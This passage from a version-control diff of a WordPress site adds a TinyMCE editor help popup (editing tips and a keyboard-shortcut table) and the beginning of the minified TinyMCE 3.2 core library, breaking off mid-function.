+	<li><a id="tab4" href="javascript:flipTab(4)" title="<?php _e('About the software') ?>" accesskey="4" tabindex="4"><?php _e('About') ?></a></li>
+</ul>
+
+<div id="flipper" class="wrap">
+
+<div id="content1">
+	<h2><?php _e('Rich Editing Basics') ?></h2>
+	<p><?php _e('<em>Rich editing</em>, also called WYSIWYG for What You See Is What You Get, means your text is formatted as you type. The rich editor creates HTML code behind the scenes while you concentrate on writing. Font styles, links and images all appear approximately as they will on the internet.') ?></p>
+	<p><?php _e('WordPress includes a rich HTML editor that works well in all major web browsers used today. However editing HTML is not the same as typing text. Each web page has two major components: the structure, which is the actual HTML code and is produced by the editor as you type, and the display, that is applied to it by the currently selected WordPress theme and is defined in style.css. WordPress is producing valid XHTML 1.0 which means that inserting multiple line breaks (BR tags) after a paragraph would not produce white space on the web page. The BR tags will be removed as invalid by the internal HTML correcting functions.') ?></p>
+	<p><?php _e('While using the editor, most basic keyboard shortcuts work like in any other text editor. For example: Shift+Enter inserts line break, Ctrl+C = copy, Ctrl+X = cut, Ctrl+Z = undo, Ctrl+Y = redo, Ctrl+A = select all, etc. (on Mac use the Command key instead of Ctrl). See the Hotkeys tab for all available keyboard shortcuts.') ?></p>
+    <p><?php _e('If you do not like the way the rich editor works, you may turn it off from Your Profile submenu, under Users in the admin menu.') ?></p>
+</div>
+
+<div id="content2" class="hidden">
+	<h2><?php _e('Advanced Rich Editing') ?></h2>
+	<h3><?php _e('Images and Attachments') ?></h3>
+	<p><?php _e('There is a button in the editor toolbar for inserting images that are already hosted somewhere on the internet. If you have a URL for an image, click this button and enter the URL in the box which appears.') ?></p>
+	<p><?php _e('If you need to upload an image or another media file from your computer, you can use the Media Library buttons above the editor. The media library will attempt to create a thumbnail-sized copy from each uploaded image. To insert your image into the post, first click on the thumbnail to reveal a menu of options. When you have selected the options you like, click "Send to Editor" and your image or file will appear in the post you are editing. If you are inserting a movie, there are additional options in the "Media" dialog that can be opened from the second toolbar row.') ?></p>
+	<h3><?php _e('HTML in the Rich Editor') ?></h3>
+	<p><?php _e('Any HTML entered directly into the rich editor will show up as text when the post is viewed. What you see is what you get. When you want to include HTML elements that cannot be generated with the toolbar buttons, you must enter it by hand in the HTML editor. Examples are tables and &lt;code&gt;. To do this, click the HTML tab and edit the code, then switch back to Visual mode. If the code is valid and understood by the editor, you should see it rendered immediately.') ?></p>
+	<h3><?php _e('Pasting in the Rich Editor') ?></h3>
+	<p><?php _e('When pasting content from another web page the results can be inconsistent and depend on your browser and on the web page you are pasting from. The editor tries to correct any invalid HTML code that was pasted, but for best results try using the HTML tab or one of the paste buttons that are on the second row. Alternatively try pasting paragraph by paragraph. In most browsers to select one paragraph at a time, triple-click on it.') ?></p>
+	<p><?php _e('Pasting content from another application, like Word or Excel, is best done with the Paste from Word button on the second row, or in HTML mode.') ?></p>
+</div>
+
+<div id="content3" class="hidden">
+	<h2><?php _e('Writing at Full Speed') ?></h2>
+    <p><?php _e('Rather than reaching for your mouse to click on the toolbar, use these access keys. Windows and Linux use Ctrl + letter. Macintosh uses Command + letter.') ?></p>
+	<table class="keys" width="100%" style="border: 0 none;">
+		<tr class="top"><th class="key center"><?php _e('Letter') ?></th><th class="left"><?php _e('Action') ?></th><th class="key center"><?php _e('Letter') ?></th><th class="left"><?php _e('Action') ?></th></tr>
+		<tr><th>c</th><td><?php _e('Copy') ?></td><th>v</th><td><?php _e('Paste') ?></td></tr>
+		<tr><th>a</th><td><?php _e('Select all') ?></td><th>x</th><td><?php _e('Cut') ?></td></tr>
+		<tr><th>z</th><td><?php _e('Undo') ?></td><th>y</th><td><?php _e('Redo') ?></td></tr>
+		<script type="text/javascript">
+		if ( ! tinymce.isWebKit )
+			document.write("<tr><th>b</th><td><?php _e('Bold') ?></td><th>i</th><td><?php _e('Italic') ?></td></tr>"+
+			"<tr><th>u</th><td><?php _e('Underline') ?></td><th>1</th><td><?php _e('Header 1') ?></td></tr>"+
+			"<tr><th>2</th><td><?php _e('Header 2') ?></td><th>3</th><td><?php _e('Header 3') ?></td></tr>"+
+			"<tr><th>4</th><td><?php _e('Header 4') ?></td><th>5</th><td><?php _e('Header 5') ?></td></tr>"+
+			"<tr><th>6</th><td><?php _e('Header 6') ?></td><th>9</th><td><?php _e('Address') ?></td></tr>")
+		</script>
+	</table>
+
+	<p><?php _e('The following shortcuts use different access keys: Alt + Shift + letter.') ?></p>
+	<table class="keys" width="100%" style="border: 0 none;">
+		<tr class="top"><th class="key center"><?php _e('Letter') ?></th><th class="left"><?php _e('Action') ?></th><th class="key center"><?php _e('Letter') ?></th><th class="left"><?php _e('Action') ?></th></tr>
+		<script type="text/javascript">
+		if ( tinymce.isWebKit )
+			document.write("<tr><th>b</th><td><?php _e('Bold') ?></td><th>i</th><td><?php _e('Italic') ?></td></tr>")
+		</script>
+		<tr><th>n</th><td><?php _e('Check Spelling') ?></td><th>l</th><td><?php _e('Align Left') ?></td></tr>
+		<tr><th>j</th><td><?php _e('Justify Text') ?></td><th>c</th><td><?php _e('Align Center') ?></td></tr>
+		<tr><th>d</th><td><span style="text-decoration: line-through;"><?php _e('Strikethrough') ?></span></td><th>r</th><td><?php _e('Align Right') ?></td></tr>
+		<tr><th>u</th><td><strong>&bull;</strong> <?php _e('List') ?></td><th>a</th><td><?php _e('Insert link') ?></td></tr>
+		<tr><th>o</th><td>1. <?php _e('List') ?></td><th>s</th><td><?php _e('Remove link') ?></td></tr>
+		<tr><th>q</th><td><?php _e('Quote') ?></td><th>m</th><td><?php _e('Insert Image') ?></td></tr>
+		<tr><th>g</th><td><?php _e('Full Screen') ?></td><th>t</th><td><?php _e('Insert More Tag') ?></td></tr>
+		<tr><th>p</th><td><?php _e('Insert Page Break tag') ?></td><th>h</th><td><?php _e('Help') ?></td></tr>
+		<tr><th>e</th><td colspan="3"><?php _e('Switch to HTML mode') ?></td></tr>
+	</table>
+</div>
+
+<div id="content4" class="hidden">
+	<h2><?php _e('About TinyMCE'); ?></h2>
+
+    <p><?php _e('Version:'); ?> <span id="version"></span> (<span id="date"></span>)</p>
+	<p><?php printf(__('TinyMCE is a platform independent web based Javascript HTML WYSIWYG editor control released as Open Source under %sLGPL</a>	by Moxiecode Systems AB. It has the ability to convert HTML TEXTAREA fields or other HTML elements to editor instances.'), '<a href="'.get_bloginfo('url').'/wp-includes/js/tinymce/license.txt" target="_blank" title="'.__('GNU Library General Public Licence').'">') ?></p>
+	<p><?php _e('Copyright &copy; 2003-2007, <a href="http://www.moxiecode.com" target="_blank">Moxiecode Systems AB</a>, All rights reserved.') ?></p>
+	<p><?php _e('For more information about this software visit the <a href="http://tinymce.moxiecode.com" target="_blank">TinyMCE website</a>.') ?></p>
+
+	<div id="buttoncontainer">
+		<a href="http://www.moxiecode.com" target="_blank"><img src="themes/advanced/img/gotmoxie.png" alt="<?php _e('Got Moxie?') ?>" style="border: none;" /></a>
+		<a href="http://sourceforge.net/projects/tinymce/" target="_blank"><img src="themes/advanced/img/sflogo.png" alt="<?php _e('Hosted By Sourceforge') ?>" style="border: none;" /></a>
+		<a href="http://www.freshmeat.net/projects/tinymce" target="_blank"><img src="themes/advanced/img/fm.gif" alt="<?php _e('Also on freshmeat') ?>" style="border: none;" /></a>
+	</div>
+
+</div>
+</div>
+
+<div class="mceActionPanel">
+	<div style="margin: 8px auto; text-align: center;padding-bottom: 10px;">
+		<input type="button" id="cancel" name="cancel" value="<?php _e('Close'); ?>" title="<?php _e('Close'); ?>" onclick="tinyMCEPopup.close();" />
+	</div>
+</div>
+
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/wp-tinymce.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/wp-tinymce.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/wp-tinymce.js	(revision 44)
@@ -0,0 +1,28 @@
+//core
+var tinymce={majorVersion:"3",minorVersion:"2.4.1",releaseDate:"2009-05-25",_init:function(){var o=this,k=document,l=window,j=navigator,b=j.userAgent,h,a,g,f,e,m;o.isOpera=l.opera&&opera.buildNumber;o.isWebKit=/WebKit/.test(b);o.isIE=!o.isWebKit&&!o.isOpera&&(/MSIE/gi).test(b)&&(/Explorer/gi).test(j.appName);o.isIE6=o.isIE&&/MSIE [56]/.test(b);o.isGecko=!o.isWebKit&&/Gecko/.test(b);o.isMac=b.indexOf("Mac")!=-1;o.isAir=/adobeair/i.test(b);if(l.tinyMCEPreInit){o.suffix=tinyMCEPreInit.suffix;o.baseURL=tinyMCEPreInit.base;o.query=tinyMCEPreInit.query;return}o.suffix="";a=k.getElementsByTagName("base");for(h=0;h<a.length;h++){if(m=a[h].href){if(/^https?:\/\/[^\/]+$/.test(m)){m+="/"}f=m?m.match(/.*\//)[0]:""}}function c(d){if(d.src&&/tiny_mce(|_dev|_src|_gzip|_jquery|_prototype).js/.test(d.src)){if(/_(src|dev)\.js/g.test(d.src)){o.suffix="_src"}if((e=d.src.indexOf("?"))!=-1){o.query=d.src.substring(e+1)}o.baseURL=d.src.substring(0,d.src.lastIndexOf("/"));if(f&&o.baseURL.indexOf("://")==-1){o.baseURL=f+o.baseURL}return o.baseURL}return null}a=k.getElementsByTagName("script");for(h=0;h<a.length;h++){if(c(a[h])){return}}g=k.getElementsByTagName("head")[0];if(g){a=g.getElementsByTagName("script");for(h=0;h<a.length;h++){if(c(a[h])){return}}}return},is:function(b,a){var c=typeof(b);if(!a){return c!="undefined"}if(a=="array"&&(b.hasOwnProperty&&b instanceof Array)){return true}return c==a},each:function(d,a,c){var e,b;if(!d){return 0}c=c||d;if(typeof(d.length)!="undefined"){for(e=0,b=d.length;e<b;e++){if(a.call(c,d[e],e,d)===false){return 0}}}else{for(e in d){if(d.hasOwnProperty(e)){if(a.call(c,d[e],e,d)===false){return 0}}}}return 1},map:function(b,c){var d=[];tinymce.each(b,function(a){d.push(c(a))});return d},grep:function(b,c){var d=[];tinymce.each(b,function(a){if(!c||c(a)){d.push(a)}});return d},inArray:function(c,d){var e,b;if(c){for(e=0,b=c.length;e<b;e++){if(c[e]===d){return e}}}return -1},extend:function(f,d){var c,b=arguments;for(c=1;c<b.length;c++){d=b[c];tinymce.each(d,function(a,e){if(typeof(a)!=="undefined"){f[e]=a}})}return f},trim:function(a){return(a?""+a:"").replace(/^\s*|\s*$/g,"")},create:function(j,a){var i=this,b,e,f,g,d,h=0;j=/^((static) )?([\w.]+)(:([\w.]+))?/.exec(j);f=j[3].match(/(^|\.)(\w+)$/i)[2];e=i.createNS(j[3].replace(/\.\w+$/,""));if(e[f]){return}if(j[2]=="static"){e[f]=a;if(this.onCreate){this.onCreate(j[2],j[3],e[f])}return}if(!a[f]){a[f]=function(){};h=1}e[f]=a[f];i.extend(e[f].prototype,a);if(j[5]){b=i.resolve(j[5]).prototype;g=j[5].match(/\.(\w+)$/i)[1];d=e[f];if(h){e[f]=function(){return b[g].apply(this,arguments)}}else{e[f]=function(){this.parent=b[g];return d.apply(this,arguments)}}e[f].prototype[f]=e[f];i.each(b,function(c,k){e[f].prototype[k]=b[k]});i.each(a,function(c,k){if(b[k]){e[f].prototype[k]=function(){this.parent=b[k];return c.apply(this,arguments)}}else{if(k!=f){e[f].prototype[k]=c}}})}i.each(a["static"],function(c,k){e[f][k]=c});if(this.onCreate){this.onCreate(j[2],j[3],e[f].prototype)}},walk:function(c,b,d,a){a=a||this;if(c){if(d){c=c[d]}tinymce.each(c,function(f,e){if(b.call(a,f,e,d)===false){return false}tinymce.walk(f,b,d,a)})}},createNS:function(d,c){var b,a;c=c||window;d=d.split(".");for(b=0;b<d.length;b++){a=d[b];if(!c[a]){c[a]={}}c=c[a]}return c},resolve:function(d,c){var b,a;c=c||window;d=d.split(".");for(b=0,a=d.length;b<a;b++){c=c[d[b]];if(!c){break}}return c},addUnload:function(e,d){var c=this,a=window;e={func:e,scope:d||this};if(!c.unloads){function b(){var f=c.unloads,h,i;if(f){for(i in f){h=f[i];if(h&&h.func){h.func.call(h.scope,1)}}if(a.detachEvent){a.detachEvent("onbeforeunload",g);a.detachEvent("onunload",b)}else{if(a.removeEventListener){a.removeEventListener("unload",b,false)}}c.unloads=h=f=a=b=0;if(window.CollectGarbage){window.CollectGarbage()}}}function g(){var h=document;if(h.readyState=="interactive"){function f(){h.detachEvent("onstop",f);if(b){b()}h=0}if(h){h.attachEvent("onstop",f)}window.setTimeout(function(){if(h){h.detachEvent("onstop",f)}},0)}}if(a.attachEvent){a.attachEvent("onunload",b);a.attachEvent("onbeforeunload",g)}else{if(a.addEventListener){a.addEventListener("unload",b,false)}}c.unloads=[e]}else{c.unloads.push(e)}return e},removeUnload:function(c){var a=this.unloads,b=null;tinymce.each(a,function(e,d){if(e&&e.func==c){a.splice(d,1);b=c;return false}});return b},explode:function(a,b){return a?tinymce.map(a.split(b||","),tinymce.trim):a},_addVer:function(b){var a;if(!this.query){return b}a=(b.indexOf("?")==-1?"?":"&")+this.query;if(b.indexOf("#")==-1){return b+a}return b.replace("#",a+"#")}};window.tinymce=tinymce;tinymce._init();tinymce.create("tinymce.util.Dispatcher",{scope:null,listeners:null,Dispatcher:function(a){this.scope=a||this;this.listeners=[]},add:function(a,b){this.listeners.push({cb:a,scope:b||this.scope});return a},addToTop:function(a,b){this.listeners.unshift({cb:a,scope:b||this.scope});return a},remove:function(a){var b=this.listeners,c=null;tinymce.each(b,function(e,d){if(a==e.cb){c=a;b.splice(d,1);return false}});return c},dispatch:function(){var f,d=arguments,e,b=this.listeners,g;for(e=0;e<b.length;e++){g=b[e];f=g.cb.apply(g.scope,d);if(f===false){break}}return f}});(function(){var a=tinymce.each;tinymce.create("tinymce.util.URI",{URI:function(e,g){var f=this,h,d,c;g=f.settings=g||{};if(/^(mailto|tel|news|javascript|about):/i.test(e)||/^\s*#/.test(e)){f.source=e;return}if(e.indexOf("/")===0&&e.indexOf("//")!==0){e=(g.base_uri?g.base_uri.protocol||"http":"http")+"://mce_host"+e}if(e.indexOf(":/")===-1&&e.indexOf("//")!==0){e=(g.base_uri.protocol||"http")+"://mce_host"+f.toAbsPath(g.base_uri.path,e)}e=e.replace(/@@/g,"(mce_at)");e=/^(?:(?![^:@]+:[^:@\/]*@)([^:\/?#.]+):)?(?:\/\/)?((?:(([^:@]*):?([^:@]*))?@)?([^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/.exec(e);a(["source","protocol","authority","userInfo","user","password","host","port","relative","path","directory","file","query","anchor"],function(b,j){var k=e[j];if(k){k=k.replace(/\(mce_at\)/g,"@@")}f[b]=k});if(c=g.base_uri){if(!f.protocol){f.protocol=c.protocol}if(!f.userInfo){f.userInfo=c.userInfo}if(!f.port&&f.host=="mce_host"){f.port=c.port}if(!f.host||f.host=="mce_host"){f.host=c.host}f.source=""}},setPath:function(c){var b=this;c=/^(.*?)\/?(\w+)?$/.exec(c);b.path=c[0];b.directory=c[1];b.file=c[2];b.source="";b.getURI()},toRelative:function(b){var c=this,d;if(b==="./"){return b}b=new tinymce.util.URI(b,{base_uri:c});if((b.host!="mce_host"&&c.host!=b.host&&b.host)||c.port!=b.port||c.protocol!=b.protocol){return b.getURI()}d=c.toRelPath(c.path,b.path);if(b.query){d+="?"+b.query}if(b.anchor){d+="#"+b.anchor}return d},toAbsolute:function(b,c){var b=new tinymce.util.URI(b,{base_uri:this});return b.getURI(this.host==b.host?c:0)},toRelPath:function(g,h){var c,f=0,d="",e,b;g=g.substring(0,g.lastIndexOf("/"));g=g.split("/");c=h.split("/");if(g.length>=c.length){for(e=0,b=g.length;e<b;e++){if(e>=c.length||g[e]!=c[e]){f=e+1;break}}}if(g.length<c.length){for(e=0,b=c.length;e<b;e++){if(e>=g.length||g[e]!=c[e]){f=e+1;break}}}if(f==1){return h}for(e=0,b=g.length-(f-1);e<b;e++){d+="../"}for(e=f-1,b=c.length;e<b;e++){if(e!=f-1){d+="/"+c[e]}else{d+=c[e]}}return d},toAbsPath:function(e,f){var c,b=0,g=[],d;d=/\/$/.test(f)?"/":"";e=e.split("/");f=f.split("/");a(e,function(h){if(h){g.push(h)}});e=g;for(c=f.length-1,g=[];c>=0;c--){if(f[c].length==0||f[c]=="."){continue}if(f[c]==".."){b++;continue}if(b>0){b--;continue}g.push(f[c])}c=e.length-b;if(c<=0){return"/"+g.reverse().join("/")+d}return"/"+e.slice(0,c).join("/")+"/"+g.reverse().join("/")+d},getURI:function(d){var c,b=this;if(!b.source||d){c="";if(!d){if(b.protocol){c+=b.protocol+"://"}if(b.userInfo){c+=b.userInfo+"@"}if(b.host){c+=b.host}if(b.port){c+=":"+b.port}}if(b.path){c+=b.path}if(b.query){c+="?"+b.query}if(b.anchor){c+="#"+b.anchor}b.source=c}return b.source}})})();(function(){var a=tinymce.each;tinymce.create("static tinymce.util.Cookie",{getHash:function(d){var b=this.get(d),c;if(b){a(b.split("&"),function(e){e=e.split("=");c=c||{};c[unescape(e[0])]=unescape(e[1])})}return c},setHash:function(j,b,g,f,i,c){var h="";a(b,function(e,d){h+=(!h?"":"&")+escape(d)+"="+escape(e)});this.set(j,h,g,f,i,c)},get:function(i){var h=document.cookie,g,f=i+"=",d;if(!h){return}d=h.indexOf("; "+f);if(d==-1){d=h.indexOf(f);if(d!=0){return null}}else{d+=2}g=h.indexOf(";",d);if(g==-1){g=h.length}return unescape(h.substring(d+f.length,g))},set:function(i,b,g,f,h,c){document.cookie=i+"="+escape(b)+((g)?"; expires="+g.toGMTString():"")+((f)?"; path="+escape(f):"")+((h)?"; domain="+h:"")+((c)?"; secure":"")},remove:function(e,b){var c=new Date();c.setTime(c.getTime()-1000);this.set(e,"",c,b,c)}})})();tinymce.create("static tinymce.util.JSON",{serialize:function(e){var c,a,d=tinymce.util.JSON.serialize,b;if(e==null){return"null"}b=typeof e;if(b=="string"){a="\bb\tt\nn\ff\rr\"\"''\\\\";return'"'+e.replace(/([\u0080-\uFFFF\x00-\x1f\"])/g,function(g,f){c=a.indexOf(f);if(c+1){return"\\"+a.charAt(c+1)}g=f.charCodeAt().toString(16);return"\\u"+"0000".substring(g.length)+g})+'"'}if(b=="object"){if(e.hasOwnProperty&&e instanceof Array){for(c=0,a="[";c<e.length;c++){a+=(c>0?",":"")+d(e[c])}return a+"]"}a="{";for(c in e){a+=typeof e[c]!="function"?(a.length>1?',"':'"')+c+'":'+d(e[c]):""}return a+"}"}return""+e},parse:function(s){try{return eval("("+s+")")}catch(ex){}}});tinymce.create("static tinymce.util.XHR",{send:function(g){var a,e,b=window,h=0;g.scope=g.scope||this;g.success_scope=g.success_scope||g.scope;g.error_scope=g.error_scope||g.scope;g.async=g.async===false?false:true;g.data=g.data||"";function d(i){a=0;try{a=new ActiveXObject(i)}catch(c){}return a}a=b.XMLHttpRequest?new XMLHttpRequest():d("Microsoft.XMLHTTP")||d("Msxml2.XMLHTTP");if(a){if(a.overrideMimeType){a.overrideMimeType(g.content_type)}a.open(g.type||(g.data?"POST":"GET"),g.url,g.async);if(g.content_type){a.setRequestHeader("Content-Type",g.content_type)}a.send(g.data);function f(){if(!g.async||a.readyState==4||h++>10000){if(g.success&&h<10000&&a.status==200){g.success.call(g.success_scope,""+a.responseText,a,g)}else{if(g.error){g.error.call(g.error_scope,h>10000?"TIMED_OUT":"GENERAL",a,g)}}a=null}else{b.setTimeout(f,10)}}if(!g.async){return f()}e=b.setTimeout(f,10)}}});(function(){var c=tinymce.extend,b=tinymce.util.JSON,a=tinymce.util.XHR;tinymce.create("tinymce.util.JSONRequest",{JSONRequest:function(d){this.settings=c({},d);this.count=0},send:function(f){var e=f.error,d=f.success;f=c(this.settings,f);f.success=function(h,g){h=b.parse(h);if(typeof(h)=="undefined"){h={error:"JSON Parse error."}}if(h.error){e.call(f.error_scope||f.scope,h.error,g)}else{d.call(f.success_scope||f.scope,h.result)}};f.error=function(h,g){e.call(f.error_scope||f.scope,h,g)};f.data=b.serialize({id:f.id||"c"+(this.count++),method:f.method,params:f.params});f.content_type="application/json";a.send(f)},"static":{sendRPC:function(d){return new tinymce.util.JSONRequest().send(d)}}})}());(function(c){var e=c.each,b=c.is;var d=c.isWebKit,a=c.isIE;c.create("tinymce.dom.DOMUtils",{doc:null,root:null,files:null,pixelStyles:/^(top|left|bottom|right|width|height|borderWidth)$/,props:{"for":"htmlFor","class":"className",className:"className",checked:"checked",disabled:"disabled",maxlength:"maxLength",readonly:"readOnly",selected:"selected",value:"value",id:"id",name:"name",type:"type"},DOMUtils:function(i,g){var f=this;f.doc=i;f.win=window;f.files={};f.cssFlicker=false;f.counter=0;f.boxModel=!c.isIE||i.compatMode=="CSS1Compat";f.stdMode=i.documentMode===8;f.settings=g=c.extend({keep_values:false,hex_colors:1,process_html:1},g);if(c.isIE6){try{i.execCommand("BackgroundImageCache",false,true)}catch(h){f.cssFlicker=true}}c.addUnload(f.destroy,f)},getRoot:function(){var f=this,g=f.settings;return(g&&f.get(g.root_element))||f.doc.body},getViewPort:function(g){var h,f;g=!g?this.win:g;h=g.document;f=this.boxModel?h.documentElement:h.body;return{x:g.pageXOffset||f.scrollLeft,y:g.pageYOffset||f.scrollTop,w:g.innerWidth||f.clientWidth,h:g.innerHeight||f.clientHeight}},getRect:function(i){var h,f=this,g;i=f.get(i);h=f.getPos(i);g=f.getSize(i);return{x:h.x,y:h.y,w:g.w,h:g.h}},getSize:function(j){var g=this,f,i;j=g.get(j);f=g.getStyle(j,"width");i=g.getStyle(j,"height");if(f.indexOf("px")===-1){f=0}if(i.indexOf("px")===-1){i=0}return{w:parseInt(f)||j.offsetWidth||j.clientWidth,h:parseInt(i)||j.offsetHeight||j.clientHeight}},is:function(g,f){return c.dom.Sizzle.matches(f,g.nodeType?[g]:g).length>0},getParent:function(i,h,g){return this.getParents(i,h,g,false)},getParents:function(p,k,i,m){var h=this,g,j=h.settings,l=[];p=h.get(p);m=m===undefined;if(j.strict_root){i=i||h.getRoot()}if(b(k,"string")){g=k;if(k==="*"){k=function(f){return f.nodeType==1}}else{k=function(f){return h.is(f,g)}}}while(p){if(p==i||!p.nodeType||p.nodeType===9){break}if(!k||k(p)){if(m){l.push(p)}else{return p}}p=p.parentNode}return m?l:null},get:function(f){var g;if(f&&this.doc&&typeof(f)=="string"){g=f;f=this.doc.getElementById(f);if(f&&f.id!==g){return this.doc.getElementsByName(g)[1]}}return f},select:function(h,g){var f=this;return c.dom.Sizzle(h,f.get(g)||f.get(f.settings.root_element)||f.doc,[])},add:function(j,l,f,i,k){var g=this;return this.run(j,function(n){var m,h;m=b(l,"string")?g.doc.createElement(l):l;g.setAttribs(m,f);if(i){if(i.nodeType){m.appendChild(i)}else{g.setHTML(m,i)}}return !k?n.appendChild(m):m})},create:function(i,f,g){return this.add(this.doc.createElement(i),i,f,g,1)},createHTML:function(m,f,j){var l="",i=this,g;l+="<"+m;for(g in f){if(f.hasOwnProperty(g)){l+=" "+g+'="'+i.encode(f[g])+'"'}}if(c.is(j)){return l+">"+j+"</"+m+">"}return l+" />"},remove:function(h,f){var g=this;return this.run(h,function(m){var l,k,j;l=m.parentNode;if(!l){return null}if(f){for(j=m.childNodes.length-1;j>=0;j--){g.insertAfter(m.childNodes[j],m)}}if(g.fixPsuedoLeaks){l=m.cloneNode(true);f="IELeakGarbageBin";k=g.get(f)||g.add(g.doc.body,"div",{id:f,style:"display:none"});k.appendChild(m);k.innerHTML="";return l}return l.removeChild(m)})},setStyle:function(i,f,g){var h=this;return h.run(i,function(l){var k,j;k=l.style;f=f.replace(/-(\D)/g,function(n,m){return m.toUpperCase()});if(h.pixelStyles.test(f)&&(c.is(g,"number")||/^[\-0-9\.]+$/.test(g))){g+="px"}switch(f){case"opacity":if(a){k.filter=g===""?"":"alpha(opacity="+(g*100)+")";if(!i.currentStyle||!i.currentStyle.hasLayout){k.display="inline-block"}}k[f]=k["-moz-opacity"]=k["-khtml-opacity"]=g||"";break;case"float":a?k.styleFloat=g:k.cssFloat=g;break;default:k[f]=g||""}if(h.settings.update_styles){h.setAttrib(l,"mce_style")}})},getStyle:function(i,f,h){i=this.get(i);if(!i){return false}if(this.doc.defaultView&&h){f=f.replace(/[A-Z]/g,function(j){return"-"+j});try{return this.doc.defaultView.getComputedStyle(i,null).getPropertyValue(f)}catch(g){return null}}f=f.replace(/-(\D)/g,function(k,j){return j.toUpperCase()});if(f=="float"){f=a?"styleFloat":"cssFloat"}if(i.currentStyle&&h){return i.currentStyle[f]}return i.style[f]},setStyles:function(i,j){var g=this,h=g.settings,f;f=h.update_styles;h.update_styles=0;e(j,function(k,l){g.setStyle(i,l,k)});h.update_styles=f;if(h.update_styles){g.setAttrib(i,h.cssText)}},setAttrib:function(h,i,f){var g=this;if(!h||!i){return}if(g.settings.strict){i=i.toLowerCase()}return this.run(h,function(k){var j=g.settings;switch(i){case"style":if(!b(f,"string")){e(f,function(l,m){g.setStyle(k,m,l)});return}if(j.keep_values){if(f&&!g._isRes(f)){k.setAttribute("mce_style",f,2)}else{k.removeAttribute("mce_style",2)}}k.style.cssText=f;break;case"class":k.className=f||"";break;case"src":case"href":if(j.keep_values){if(j.url_converter){f=j.url_converter.call(j.url_converter_scope||g,f,i,k)}g.setAttrib(k,"mce_"+i,f,2)}break;case"shape":k.setAttribute("mce_style",f);break}if(b(f)&&f!==null&&f.length!==0){k.setAttribute(i,""+f,2)}else{k.removeAttribute(i,2)}})},setAttribs:function(g,h){var f=this;return this.run(g,function(i){e(h,function(j,k){f.setAttrib(i,k,j)})})},getAttrib:function(i,j,h){var f,g=this;i=g.get(i);if(!i||i.nodeType!==1){return false}if(!b(h)){h=""}if(/^(src|href|style|coords|shape)$/.test(j)){f=i.getAttribute("mce_"+j);if(f){return f}}if(a&&g.props[j]){f=i[g.props[j]];f=f&&f.nodeValue?f.nodeValue:f}if(!f){f=i.getAttribute(j,2)}if(j==="style"){f=f||i.style.cssText;if(f){f=g.serializeStyle(g.parseStyle(f));if(g.settings.keep_values&&!g._isRes(f)){i.setAttribute("mce_style",f)}}}if(d&&j==="class"&&f){f=f.replace(/(apple|webkit)\-[a-z\-]+/gi,"")}if(a){switch(j){case"rowspan":case"colspan":if(f===1){f=""}break;case"size":if(f==="+0"||f===20||f===0){f=""}break;case"width":case"height":case"vspace":case"checked":case"disabled":case"readonly":if(f===0){f=""}break;case"hspace":if(f===-1){f=""}break;case"maxlength":case"tabindex":if(f===32768||f===2147483647||f==="32768"){f=""}break;case"multiple":case"compact":case"noshade":case"nowrap":if(f===65535){return j}return h;case"shape":f=f.toLowerCase();break;default:if(j.indexOf("on")===0&&f){f=(""+f).replace(/^function\s+\w+\(\)\s+\{\s+(.*)\s+\}$/,"$1")}}}return(f!==undefined&&f!==null&&f!=="")?""+f:h},getPos:function(m,i){var g=this,f=0,l=0,j,k=g.doc,h;m=g.get(m);i=i||k.body;if(m){if(a&&!g.stdMode){m=m.getBoundingClientRect();j=g.boxModel?k.documentElement:k.body;f=g.getStyle(g.select("html")[0],"borderWidth");f=(f=="medium"||g.boxModel&&!g.isIE6)&&2||f;m.top+=g.win.self!=g.win.top?2:0;return{x:m.left+j.scrollLeft-f,y:m.top+j.scrollTop-f}}h=m;while(h&&h!=i&&h.nodeType){f+=h.offsetLeft||0;l+=h.offsetTop||0;h=h.offsetParent}h=m.parentNode;while(h&&h!=i&&h.nodeType){f-=h.scrollLeft||0;l-=h.scrollTop||0;h=h.parentNode}}return{x:f,y:l}},parseStyle:function(h){var i=this,j=i.settings,k={};if(!h){return k}function f(w,q,v){var o,u,m,n;o=k[w+"-top"+q];if(!o){return}u=k[w+"-right"+q];if(o!=u){return}m=k[w+"-bottom"+q];if(u!=m){return}n=k[w+"-left"+q];if(m!=n){return}k[v]=n;delete k[w+"-top"+q];delete k[w+"-right"+q];delete k[w+"-bottom"+q];delete k[w+"-left"+q]}function g(n,m,l,p){var o;o=k[m];if(!o){return}o=k[l];if(!o){return}o=k[p];if(!o){return}k[n]=k[m]+" "+k[l]+" "+k[p];delete k[m];delete k[l];delete k[p]}h=h.replace(/&(#?[a-z0-9]+);/g,"&$1_MCE_SEMI_");e(h.split(";"),function(m){var l,n=[];if(m){m=m.replace(/_MCE_SEMI_/g,";");m=m.replace(/url\([^\)]+\)/g,function(o){n.push(o);return"url("+n.length+")"});m=m.split(":");l=c.trim(m[1]);l=l.replace(/url\(([^\)]+)\)/g,function(p,o){return n[parseInt(o)-1]});l=l.replace(/rgb\([^\)]+\)/g,function(o){return i.toHex(o)});if(j.url_converter){l=l.replace(/url\([\'\"]?([^\)\'\"]+)[\'\"]?\)/g,function(o,p){return"url("+j.url_converter.call(j.url_converter_scope||i,i.decode(p),"style",null)+")"})}k[c.trim(m[0]).toLowerCase()]=l}});f("border","","border");f("border","-width","border-width");f("border","-color","border-color");f("border","-style","border-style");f("padding","","padding");f("margin","","margin");g("border","border-width","border-style","border-color");if(a){if(k.border=="medium none"){k.border=""}}return k},serializeStyle:function(g){var f="";e(g,function(i,h){if(h&&i){if(c.isGecko&&h.indexOf("-moz-")===0){return}switch(h){case"color":case"background-color":i=i.toLowerCase();break}f+=(f?" ":"")+h+": "+i+";"}});return f},loadCSS:function(f){var h=this,i=h.doc,g;if(!f){f=""}g=h.select("head")[0];e(f.split(","),function(j){var k;if(h.files[j]){return}h.files[j]=true;k=h.create("link",{rel:"stylesheet",href:c._addVer(j)});if(a&&i.documentMode){k.onload=function(){i.recalc();k.onload=null}}g.appendChild(k)})},addClass:function(f,g){return this.run(f,function(h){var i;if(!g){return 0}if(this.hasClass(h,g)){return h.className}i=this.removeClass(h,g);return h.className=(i!=""?(i+" "):"")+g})},removeClass:function(h,i){var 